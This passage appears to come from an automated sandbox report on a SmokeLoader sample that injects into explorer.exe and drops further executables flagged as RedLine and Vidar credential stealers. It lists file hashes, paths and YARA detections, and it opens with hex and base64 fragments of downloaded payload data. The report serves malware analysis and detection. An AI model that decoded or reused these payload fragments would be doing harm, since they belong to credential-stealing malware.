2021-12-01 09:04:36 UTC	204	IN	Data Raw: 00 30 00 46 00 42 00 51 00 56 00 46 00 43 00 5a 00 46 00 46 00 52 00 51 00 55 00 46 00 42 00 55 00 55 00 4d 00 35 00 53 00 6e 00 64 00 5a 00 51 00 56 00 64 00 52 00 51 00 55 00 70 00 42 00 52 00 6d 00 74 00 42 00 53 00 45 00 46 00 43 00 4f 00 45 00 46 00 43 00 4d 00 45 00 46 00 6d 00 51 00 55 00 46 00 6c 00 51 00 55 00 68 00 33 00 51 00 55 00 6c 00 42 00 51 00 6a 00 68 00 42 00 52 00 46 00 6c 00 42 00 56 00 31 00 46 00 43 00 56 00 30 00 46 00 42 00 62 00 30 00 46 00 57 00 5a 00 30 00 4d 00 31 00 51 00 55 00 5a 00 5a 00 51 00 55 00 4a 00 6e 00 51 00 6c 00 64 00 42 00 52 00 6d 00 74 00 42 00 56 00 6d 00 64 00 43 00 56 00 6b 00 46 00 42 00 61 00 30 00 45 00 72 00 56 00 45 00 31 00 43 00 51 00 55 00 4a 00 46 00 51 00 53 00 74 00 55 00 54 00 55 00 5a 00 42 00 Data Ascii: 0FBQVFCZFFRQUFBUUM5SndZQVdRQUpBRmtBSEFCOEFCMEFmQUFlQUh3QUlBQjhBRFlBV1FCV0FBb0FWZ0M1QUZZQUJnQldBRmtBVmdCVkFBa0ErVE1CQUJFQStUTUZB
2021-12-01 09:04:36 UTC	209	IN	Data Raw: 43 00 4b 00 33 00 70 00 33 00 63 00 30 00 4a 00 74 00 61 00 30 00 56 00 74 00 55 00 30 00 31 00 33 00 51 00 6d 00 78 00 46 00 52 00 57 00 74 00 71 00 51 00 54 00 5a 00 43 00 61 00 48 00 64 00 43 00 62 00 56 00 4e 00 4e 00 5a 00 6b 00 4a 00 6f 00 64 00 30 00 49 00 72 00 65 00 6e 00 64 00 7a 00 51 00 6d 00 6c 00 52 00 51 00 6e 00 52 00 43 00 4f 00 58 00 6c 00 43 00 61 00 58 00 64 00 43 00 64 00 45 00 49 00 35 00 65 00 55 00 4a 00 75 00 61 00 30 00 56 00 74 00 61 00 58 00 46 00 48 00 51 00 6d 00 35 00 72 00 52 00 56 00 56 00 44 00 53 00 45 00 70 00 42 00 51 00 58 00 64 00 43 00 4e 00 6e 00 70 00 50 00 4d 00 55 00 46 00 45 00 55 00 55 00 4a 00 45 00 65 00 6a 00 68 00 75 00 51 00 55 00 46 00 33 00 51 00 6d 00 6c 00 34 00 63 00 44 00 42 00 42 00 56 00 46 00 46 Data Ascii: CK3p3c0Jta0VtU013QmxFRWtqQTZCaHdCbVNNZkJod0IrendzQmlRQnRCOXlCaXdCdEI5eUJua0VtaXFHQm5rRVVDSEpBQXdCNnpPMUFEUUJEejhuQUF3Qml4cDBBVFF
2021-12-01 09:04:36 UTC	213	IN	Data Raw: 00 68 00 77 00 4f 00 45 00 4a 00 4e 00 52 00 55 00 4e 00 58 00 65 00 6e 00 68 00 68 00 52 00 48 00 4e 00 46 00 51 00 31 00 64 00 36 00 65 00 56 00 6c 00 45 00 63 00 55 00 56 00 47 00 52 00 48 00 67 00 33 00 4f 00 45 00 46 00 75 00 61 00 30 00 4e 00 6f 00 65 00 6c 00 64 00 30 00 52 00 48 00 4a 00 72 00 51 00 33 00 5a 00 45 00 4b 00 33 00 70 00 45 00 64 00 6e 00 64 00 43 00 4b 00 31 00 52 00 4f 00 4d 00 45 00 46 00 42 00 52 00 55 00 51 00 33 00 51 00 69 00 39 00 77 00 52 00 48 00 4e 00 46 00 51 00 31 00 70 00 36 00 65 00 6e 00 56 00 45 00 63 00 30 00 56 00 44 00 52 00 48 00 67 00 33 00 4d 00 6b 00 52 00 6f 00 52 00 55 00 52 00 34 00 51 00 33 00 4e 00 44 00 52 00 48 00 64 00 52 00 51 00 30 00 35 00 71 00 4f 00 54 00 68 00 43 00 51 00 58 00 64 00 44 00 54 00 Data Ascii: hwOEJNRUNXenhhRHNFQ1d6eVlEcUVGRHg3OEFua0Noeld0RHJrQ3ZEK3pEdndCK1ROMEFBRUQ3Qi9wRHNFQ1p6enVEc0VDRHg3MkRoRUR4Q3NDRHdRQ05qOThCQXdDT
2021-12-01 09:04:36 UTC	220	IN	Data Raw: 00 42 00 61 00 48 00 64 00 33 00 52 00 48 00 46 00 48 00 63 00 30 00 46 00 6f 00 64 00 33 00 64 00 45 00 4e 00 30 00 64 00 31 00 51 00 57 00 68 00 33 00 64 00 30 00 46 00 4e 00 52 00 33 00 64 00 42 00 61 00 58 00 64 00 33 00 51 00 57 00 52 00 48 00 65 00 55 00 46 00 70 00 64 00 33 00 64 00 42 00 64 00 55 00 63 00 77 00 51 00 57 00 6c 00 33 00 64 00 30 00 45 00 76 00 52 00 7a 00 4a 00 42 00 61 00 58 00 64 00 33 00 51 00 6c 00 46 00 48 00 4e 00 45 00 46 00 70 00 64 00 33 00 64 00 43 00 61 00 45 00 63 00 32 00 51 00 57 00 6c 00 33 00 64 00 30 00 4a 00 35 00 52 00 7a 00 68 00 42 00 61 00 58 00 64 00 33 00 51 00 30 00 52 00 48 00 4f 00 46 00 46 00 70 00 56 00 58 00 64 00 42 00 53 00 45 00 56 00 50 00 51 00 57 00 6c 00 33 00 64 00 30 00 4e 00 56 00 52 00 33 00 Data Ascii: BaHd3RHFHc0Fod3dEN0d1QWh3d0FNR3dBaXd3QWRHeUFpd3dBdUcwQWl3d0EvRzJBaXd3QlFHNEFpd3dCaEc2QWl3d0J5RzhBaXd3Q0RHOFFpVXdBSEVPQWl3d0NVR3
2021-12-01 09:04:36 UTC	229	IN	Data Raw: 00 64 00 46 00 62 00 45 00 46 00 42 00 53 00 55 00 46 00 4a 00 64 00 30 00 56 00 75 00 51 00 55 00 46 00 46 00 51 00 55 00 70 00 42 00 52 00 57 00 35 00 42 00 51 00 55 00 6c 00 42 00 53 00 6c 00 46 00 46 00 63 00 45 00 46 00 42 00 52 00 55 00 46 00 4b 00 5a 00 30 00 56 00 77 00 51 00 55 00 46 00 4a 00 51 00 55 00 70 00 33 00 52 00 58 00 4a 00 42 00 51 00 55 00 56 00 42 00 53 00 30 00 46 00 46 00 63 00 6b 00 46 00 42 00 53 00 55 00 46 00 4c 00 55 00 55 00 56 00 30 00 51 00 55 00 46 00 46 00 51 00 55 00 74 00 6e 00 52 00 58 00 52 00 42 00 51 00 55 00 6c 00 42 00 53 00 33 00 64 00 46 00 64 00 6b 00 46 00 42 00 52 00 55 00 46 00 4d 00 51 00 55 00 56 00 32 00 51 00 55 00 46 00 4a 00 51 00 55 00 31 00 52 00 52 00 58 00 68 00 42 00 51 00 55 00 56 00 42 00 54 00 Data Ascii: dFbEFBSUFJd0VuQUFFQUpBRW5BQUlBSlFFcEFBRUFKZ0VwQUFJQUp3RXJBQUVBS0FFckFBSUFLUUV0QUFFQUtnRXRBQUlBS3dFdkFBRUFMQUV2QUFJQU1RRXhBQUVBT
2021-12-01 09:04:36 UTC	245	IN	Data Raw: 00 52 00 6a 00 4d 00 45 00 39 00 56 00 53 00 6b 00 52 00 53 00 52 00 47 00 4e 00 34 00 54 00 56 00 52 00 52 00 65 00 6c 00 46 00 72 00 55 00 54 00 52 00 53 00 56 00 55 00 6c 00 36 00 54 00 57 00 70 00 4f 00 52 00 46 00 4a 00 55 00 54 00 55 00 46 00 51 00 52 00 6c 00 42 00 53 00 5a 00 32 00 52 00 44 00 64 00 32 00 4a 00 71 00 4e 00 57 00 6c 00 59 00 4d 00 54 00 68 00 36 00 51 00 55 00 52 00 33 00 4b 00 32 00 4e 00 47 00 4f 00 57 00 5a 00 4e 00 64 00 30 00 4a 00 48 00 5a 00 46 00 63 00 31 00 61 00 6c 00 6c 00 45 00 54 00 55 00 46 00 61 00 4d 00 6c 00 59 00 77 00 57 00 44 00 42 00 73 00 61 00 30 00 31 00 33 00 51 00 6e 00 70 00 61 00 57 00 46 00 4a 00 6d 00 55 00 31 00 64 00 52 00 65 00 6b 00 46 00 48 00 55 00 6a 00 4a 00 6a 00 4d 00 6e 00 42 00 77 00 59 00 Data Ascii: RjME9VSkRSRGN4TVRRelFrUTRSVUl6TWpORFJUTUFQRlBSZ2RDd2JqNWlYMTh6QUR3K2NGOWZNd0JHZFc1allETUFaMlYwWDBsa013QnpaWFJmU1dRekFHUjJjMnBwY
2021-12-01 09:04:36 UTC	252	IN	Data Raw: 00 6e 00 65 00 55 00 35 00 71 00 59 00 33 00 68 00 53 00 61 00 6d 00 64 00 42 00 57 00 6a 00 4a 00 57 00 4d 00 46 00 67 00 78 00 56 00 6c 00 56 00 53 00 61 00 6d 00 64 00 42 00 55 00 45 00 51 00 30 00 4e 00 56 00 67 00 78 00 4f 00 48 00 64 00 59 00 65 00 6d 00 64 00 42 00 55 00 45 00 5a 00 51 00 55 00 6d 00 64 00 6b 00 51 00 33 00 64 00 69 00 61 00 6a 00 56 00 70 00 57 00 44 00 45 00 34 00 64 00 31 00 68 00 36 00 5a 00 30 00 46 00 51 00 52 00 44 00 56 00 32 00 57 00 44 00 45 00 34 00 4e 00 45 00 46 00 48 00 5a 00 47 00 78 00 6b 00 52 00 6a 00 6c 00 4b 00 57 00 6b 00 52 00 6e 00 51 00 57 00 4d 00 79 00 56 00 6a 00 42 00 59 00 4d 00 47 00 78 00 72 00 54 00 30 00 46 00 43 00 61 00 47 00 4d 00 79 00 55 00 6e 00 4a 00 5a 00 56 00 31 00 49 00 78 00 54 00 30 00 Data Ascii: neU5qY3hSamdBWjJWMFgxVlVSamdBUEQ0NVgxOHdYemdBUEZQUmdkQ3diajVpWDE4d1h6Z0FQRDV2WDE4NEFHZGxkRjlKWkRnQWMyVjBYMGxrT0FCaGMyUnJZV1IxT0
2021-12-01 09:04:36 UTC	268	IN	Data Raw: 00 4b 00 62 00 45 00 46 00 48 00 5a 00 47 00 78 00 6b 00 52 00 6a 00 6c 00 4b 00 59 00 6d 00 35 00 61 00 61 00 47 00 4e 00 74 00 62 00 47 00 68 00 69 00 62 00 6c 00 4a 00 45 00 5a 00 46 00 64 00 34 00 4d 00 47 00 52 00 59 00 53 00 6d 00 78 00 42 00 52 00 57 00 52 00 73 00 5a 00 45 00 56 00 73 00 64 00 46 00 6c 00 58 00 5a 00 47 00 78 00 52 00 62 00 55 00 5a 00 36 00 57 00 6c 00 46 00 43 00 53 00 6c 00 70 00 48 00 56 00 6e 00 56 00 6b 00 52 00 32 00 77 00 77 00 5a 00 56 00 5a 00 4f 00 62 00 47 00 4a 00 74 00 55 00 6d 00 78 00 6a 00 61 00 30 00 70 00 6f 00 59 00 7a 00 4a 00 56 00 51 00 56 00 59 00 79 00 56 00 6d 00 6c 00 56 00 62 00 56 00 5a 00 36 00 59 00 30 00 63 00 35 00 64 00 57 00 4d 00 79 00 56 00 55 00 46 00 53 00 4d 00 6c 00 59 00 77 00 56 00 57 00 Data Ascii: KbEFHZGxkRjlKYm5aaGNtbGhiblJEZFd4MGRYSmxBRWRsZEVsdFlXZGxRbUZ6WlFCSlpHVnVkR2wwZVZObGJtUmxja0poYzJVQVYyVmlVbVZ6Y0c5dWMyVUFSMlYwVW
2021-12-01 09:04:36 UTC	284	IN	Data Raw: 00 6b 00 64 00 57 00 49 00 7a 00 54 00 6a 00 42 00 68 00 56 00 30 00 35 00 36 00 51 00 55 00 56 00 61 00 63 00 46 00 70 00 58 00 65 00 47 00 74 00 6a 00 64 00 30 00 4a 00 75 00 57 00 6c 00 68 00 53 00 5a 00 6c 00 46 00 74 00 4f 00 54 00 46 00 69 00 62 00 56 00 4a 00 36 00 51 00 55 00 56 00 6b 00 62 00 47 00 52 00 46 00 5a 00 48 00 6c 00 5a 00 57 00 45 00 4a 00 76 00 59 00 56 00 64 00 4f 00 52 00 46 00 6c 00 59 00 53 00 6d 00 74 00 6a 00 64 00 30 00 4a 00 49 00 57 00 6c 00 68 00 53 00 52 00 6d 00 4a 00 75 00 55 00 6e 00 42 00 6b 00 53 00 47 00 78 00 45 00 57 00 56 00 68 00 4b 00 61 00 32 00 4e 00 33 00 51 00 6c 00 52 00 5a 00 4d 00 6b 00 5a 00 31 00 56 00 55 00 64 00 47 00 65 00 6d 00 4d 00 7a 00 5a 00 48 00 5a 00 6a 00 62 00 56 00 4a 00 36 00 51 00 55 00 Data Ascii: kdWIzTjBhV056QUVacFpXeGtjd0JuWlhSZlFtOTFibVJ6QUVkbGRFZHlZWEJvYVdORFlYSmtjd0JIWlhSRmJuUnBkSGxEWVhKa2N3QlRZMkZ1VUdGemMzZHZjbVJ6QU
2021-12-01 09:04:36 UTC	300	IN	Data Raw: 00 6a 00 51 00 56 00 70 00 52 00 51 00 6e 00 56 00 42 00 52 00 31 00 56 00 42 00 59 00 32 00 64 00 43 00 63 00 45 00 46 00 48 00 54 00 55 00 46 00 6b 00 51 00 55 00 4a 00 6f 00 51 00 55 00 5a 00 33 00 51 00 56 00 56 00 6e 00 51 00 6b 00 68 00 42 00 52 00 31 00 56 00 42 00 59 00 6d 00 64 00 43 00 62 00 45 00 46 00 49 00 53 00 55 00 46 00 68 00 55 00 55 00 4a 00 71 00 51 00 55 00 63 00 34 00 51 00 56 00 6c 00 52 00 51 00 6e 00 52 00 42 00 52 00 32 00 74 00 42 00 55 00 6e 00 64 00 43 00 62 00 45 00 46 00 48 00 4e 00 45 00 46 00 61 00 55 00 55 00 4a 00 35 00 51 00 55 00 64 00 72 00 51 00 56 00 6c 00 33 00 51 00 6e 00 56 00 42 00 52 00 32 00 4e 00 42 00 57 00 45 00 46 00 42 00 51 00 55 00 51 00 77 00 59 00 30 00 46 00 61 00 55 00 55 00 4a 00 31 00 51 00 55 00 Data Ascii: jQVpRQnVBR1VBY2dCcEFHTUFkQUJoQUZ3QVVnQkhBR1VBYmdCbEFISUFhUUJqQUc4QVlRQnRBR2tBUndCbEFHNEFaUUJ5QUdrQVl3QnVBR2NBWEFBQUQwY0FaUUJ1QU
2021-12-01 09:04:36 UTC	316	IN	Data Raw: 00 34 00 51 00 56 00 52 00 52 00 51 00 57 00 64 00 42 00 52 00 6d 00 4e 00 42 00 59 00 56 00 46 00 43 00 56 00 45 00 46 00 49 00 61 00 30 00 46 00 6a 00 64 00 30 00 49 00 77 00 51 00 55 00 64 00 56 00 51 00 57 00 4a 00 52 00 51 00 58 00 56 00 42 00 52 00 7a 00 52 00 42 00 54 00 58 00 64 00 42 00 65 00 55 00 46 00 47 00 4f 00 45 00 46 00 56 00 51 00 55 00 4a 00 35 00 51 00 55 00 63 00 34 00 51 00 56 00 6c 00 33 00 51 00 6c 00 52 00 42 00 53 00 47 00 74 00 42 00 59 00 33 00 64 00 43 00 4d 00 45 00 46 00 48 00 56 00 55 00 46 00 69 00 55 00 55 00 46 00 31 00 51 00 55 00 64 00 56 00 51 00 57 00 4e 00 33 00 51 00 6e 00 70 00 42 00 51 00 30 00 46 00 42 00 56 00 6e 00 64 00 43 00 62 00 30 00 46 00 48 00 56 00 55 00 46 00 6a 00 5a 00 30 00 4a 00 55 00 51 00 55 00 Data Ascii: 4QVRRQWdBRmNBYVFCVEFIa0Fjd0IwQUdVQWJRQXVBRzRBTXdBeUFGOEFVQUJ5QUc4QVl3QlRBSGtBY3dCMEFHVUFiUUF1QUdVQWN3QnpBQ0FBVndCb0FHVUFjZ0JUQU
2021-12-01 09:04:36 UTC	332	IN	Data Raw: 00 4c 00 51 00 54 00 46 00 42 00 57 00 55 00 46 00 42 00 55 00 57 00 64 00 54 00 5a 00 31 00 46 00 72 00 53 00 55 00 46 00 42 00 55 00 55 00 4a 00 49 00 55 00 56 00 56 00 4a 00 52 00 30 00 46 00 6e 00 52 00 6b 00 46 00 42 00 53 00 55 00 4e 00 48 00 51 00 6d 00 64 00 4f 00 51 00 55 00 46 00 52 00 55 00 6d 00 64 00 31 00 52 00 55 00 39 00 45 00 61 00 45 00 64 00 44 00 4e 00 56 00 4a 00 48 00 51 00 7a 00 5a 00 52 00 59 00 32 00 64 00 42 00 5a 00 30 00 56 00 55 00 51 00 55 00 4a 00 4e 00 51 00 6b 00 4a 00 52 00 51 00 55 00 46 00 46 00 62 00 30 00 6c 00 57 00 52 00 32 00 64 00 6a 00 53 00 6b 00 4e 00 43 00 53 00 6a 00 6c 00 47 00 55 00 6b 00 55 00 31 00 51 00 56 00 4a 00 4c 00 51 00 6b 00 46 00 43 00 53 00 30 00 4a 00 42 00 51 00 6b 00 70 00 57 00 52 00 57 00 Data Ascii: LQTFBWUFBUWdTZ1FrSUFBUUJIUVVJR0FnRkFBSUNHQmdOQUFRUmd1RU9EaEdDNVJHQzZRY2dBZ0VUQUJNQkJRQUFFb0lWR2djSkNCSjlGUkU1QVJLQkFCS0JBQkpWRW
2021-12-01 09:04:36 UTC	348	IN	Data Raw: 00 42 00 51 00 56 00 56 00 33 00 51 00 6a 00 42 00 42 00 52 00 30 00 56 00 42 00 5a 00 45 00 46 00 43 00 62 00 45 00 46 00 42 00 51 00 55 00 46 00 56 00 51 00 55 00 4a 00 35 00 51 00 55 00 63 00 34 00 51 00 56 00 6c 00 33 00 51 00 6d 00 78 00 42 00 53 00 45 00 31 00 42 00 59 00 33 00 64 00 43 00 53 00 6b 00 46 00 48 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 31 00 52 00 51 00 58 00 46 00 42 00 51 00 7a 00 52 00 42 00 54 00 56 00 46 00 43 00 63 00 30 00 46 00 45 00 52 00 55 00 46 00 61 00 51 00 55 00 46 00 34 00 51 00 55 00 64 00 4a 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 56 00 55 00 46 00 43 00 65 00 55 00 46 00 48 00 4f 00 45 00 46 00 61 00 5a 00 30 00 4a 00 77 00 51 00 55 00 Data Ascii: BQVV3QjBBR0VBZEFCbEFBQUFVQUJ5QUc4QVl3QmxBSE1BY3dCSkFHUUFBQUFBQUFBQU1RQXFBQzRBTVFCc0FERUFaQUF4QUdJQUFBQUFBQUFBVUFCeUFHOEFaZ0JwQU
2021-12-01 09:04:36 UTC	364	IN	Data Raw: 00 4a 00 51 00 55 00 35 00 42 00 51 00 6b 00 78 00 42 00 52 00 6d 00 39 00 42 00 59 00 6c 00 46 00 42 00 4d 00 55 00 46 00 49 00 56 00 55 00 46 00 58 00 5a 00 30 00 4a 00 59 00 51 00 55 00 64 00 52 00 51 00 57 00 52 00 33 00 51 00 6d 00 68 00 42 00 52 00 57 00 4e 00 42 00 5a 00 55 00 46 00 43 00 4d 00 6b 00 46 00 47 00 61 00 30 00 46 00 69 00 55 00 55 00 4a 00 33 00 51 00 55 00 64 00 7a 00 51 00 56 00 6c 00 33 00 51 00 6b 00 68 00 42 00 53 00 46 00 46 00 42 00 59 00 6e 00 64 00 43 00 59 00 55 00 46 00 47 00 59 00 30 00 46 00 55 00 5a 00 30 00 4a 00 76 00 51 00 55 00 64 00 4e 00 51 00 56 00 4a 00 33 00 51 00 6a 00 42 00 42 00 53 00 45 00 46 00 42 00 57 00 56 00 46 00 43 00 64 00 45 00 46 00 49 00 51 00 55 00 46 00 68 00 64 00 30 00 4a 00 6f 00 51 00 55 00 Data Ascii: JQU5BQkxBRm9BYlFBMUFIVUFXZ0JYQUdRQWR3QmhBRWNBZUFCMkFGa0FiUUJ3QUdzQVl3QkhBSFFBYndCYUFGY0FUZ0JvQUdNQVJ3QjBBSEFBWVFCdEFIQUFhd0JoQU
2021-12-01 09:04:36 UTC	380	IN	Data Raw: 00 42 00 51 00 54 00 52 00 42 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 51 00 57 00 64 00 42 00 64 00 32 00 64 00 6e 00 61 00 6c 00 42 00 43 00 5a 00 32 00 74 00 78 00 61 00 47 00 74 00 70 00 52 00 7a 00 6c 00 33 00 4d 00 45 00 4a 00 43 00 64 00 30 00 74 00 6e 00 5a 00 32 00 64 00 71 00 51 00 55 00 31 00 4a 00 53 00 55 00 6c 00 32 00 51 00 55 00 6c 00 43 00 51 00 56 00 52 00 46 00 54 00 45 00 31 00 42 00 61 00 30 00 64 00 43 00 55 00 33 00 4e 00 50 00 51 00 58 00 64 00 4a 00 59 00 55 00 4a 00 52 00 51 00 58 00 64 00 55 00 51 00 56 00 6c 00 4c 00 53 00 33 00 64 00 5a 00 51 00 6b 00 4a 00 42 00 52 00 30 00 4e 00 4f 00 64 00 30 00 6c 00 43 00 51 00 6b 00 74 00 42 00 4b 00 30 00 31 00 45 00 64 00 33 00 64 00 47 00 64 00 31 00 6c 00 4c 00 53 00 33 00 Data Ascii: BQTRBZ0FBQUFDQWdBd2dnalBCZ2txaGtpRzl3MEJCd0tnZ2dqQU1JSUl2QUlCQVRFTE1Ba0dCU3NPQXdJYUJRQXdUQVlLS3dZQkJBR0NOd0lCQktBK01Ed3dGd1lLS3

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: QMn13jz6nj.exe PID: 2228 Parent PID: 5780

General

Start time:	10:03:38
Start date:	01/12/2021
Path:	C:\Users\user\Desktop\QMn13jz6nj.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QMn13jz6nj.exe"
Imagebase:	0x400000
File size:	162304 bytes
MD5 hash:	C6E5298F945F91851744F96EE16412E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: QMn13jz6nj.exe PID: 3416 Parent PID: 2228

General

Start time:	10:03:39
Start date:	01/12/2021
Path:	C:\Users\user\Desktop\QMn13jz6nj.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QMn13jz6nj.exe"
Imagebase:	0x400000
File size:	162304 bytes
MD5 hash:	C6E5298F945F91851744F96EE16412E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000002.374208740.00000000005A1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000002.374186262.0000000000580000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3352 Parent PID: 3416

General

Start time:	10:03:46
Start date:	01/12/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff720ea0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000000.353435896.0000000004E91000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: ddigjgj PID: 6700 Parent PID: 664

General

Start time:	10:04:26
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Roaming\ddigjgj
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\ddigjgj
Imagebase:	0x400000
File size:	162304 bytes
MD5 hash:	C6E5298F945F91851744F96EE16412E5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: ddigjgj PID: 6464 Parent PID: 6700

General

Start time:	10:04:29
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Roaming\ddigjgj
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\ddigjgj
Imagebase:	0x400000
File size:	162304 bytes
MD5 hash:	C6E5298F945F91851744F96EE16412E5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.435228556.0000000000530000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.435588764.00000000006B1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: A70A.exe PID: 3340 Parent PID: 3352

General

Start time:	10:04:29
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\A70A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\A70A.exe
Imagebase:	0x12e0000
File size:	1285856 bytes
MD5 hash:	31F17AD58D02772DF14EFAC37D416CD7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 26%, Metadefender, Browse Detection: 57%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: C169.exe PID: 6276 Parent PID: 3352

General

Start time:	10:04:36
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\C169.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C169.exe
Imagebase:	0x900000
File size:	397824 bytes
MD5 hash:	5115E5DAB211559A85CD0154E8100F53
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_Double_Base64_Encoded_Executable, Description: Detects an executable that has been encoded with base64 twice, Source: 00000010.00000002.499816087.0000000003BB1000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000010.00000002.499816087.0000000003BB1000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, Metadefender, Browse Detection: 79%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 4788 Parent PID: 6276

General

Start time:	10:04:37
Start date:	01/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: D466.exe PID: 6636 Parent PID: 3352

General

Start time:	10:04:40
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\D466.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D466.exe
Imagebase:	0x400000
File size:	163328 bytes
MD5 hash:	DF13FAC0D8B182E4D8B9A02BA87A9571
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, Metadefender, Browse Detection: 51%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: AA02.exe PID: 5976 Parent PID: 3352

General

Start time:	10:04:44
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\AA02.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\AA02.exe
Imagebase:	0x400000
File size:	351744 bytes
MD5 hash:	349A409711C0A8F53C5F90A993A621F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: C169.exe PID: 2256 Parent PID: 6276

General

Start time:	10:04:44
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\C169.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C169.exe
Imagebase:	0x990000
File size:	397824 bytes
MD5 hash:	5115E5DAB211559A85CD0154E8100F53
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000000.476958517.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000000.466738621.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000002.568172041.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000000.471013875.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000000.472952857.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: B6B5.exe PID: 6720 Parent PID: 3352

General

Start time:	10:04:47
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\B6B5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B6B5.exe
Imagebase:	0x400000
File size:	336896 bytes
MD5 hash:	CBC4BD8906093C0CCC55379319D65DB1
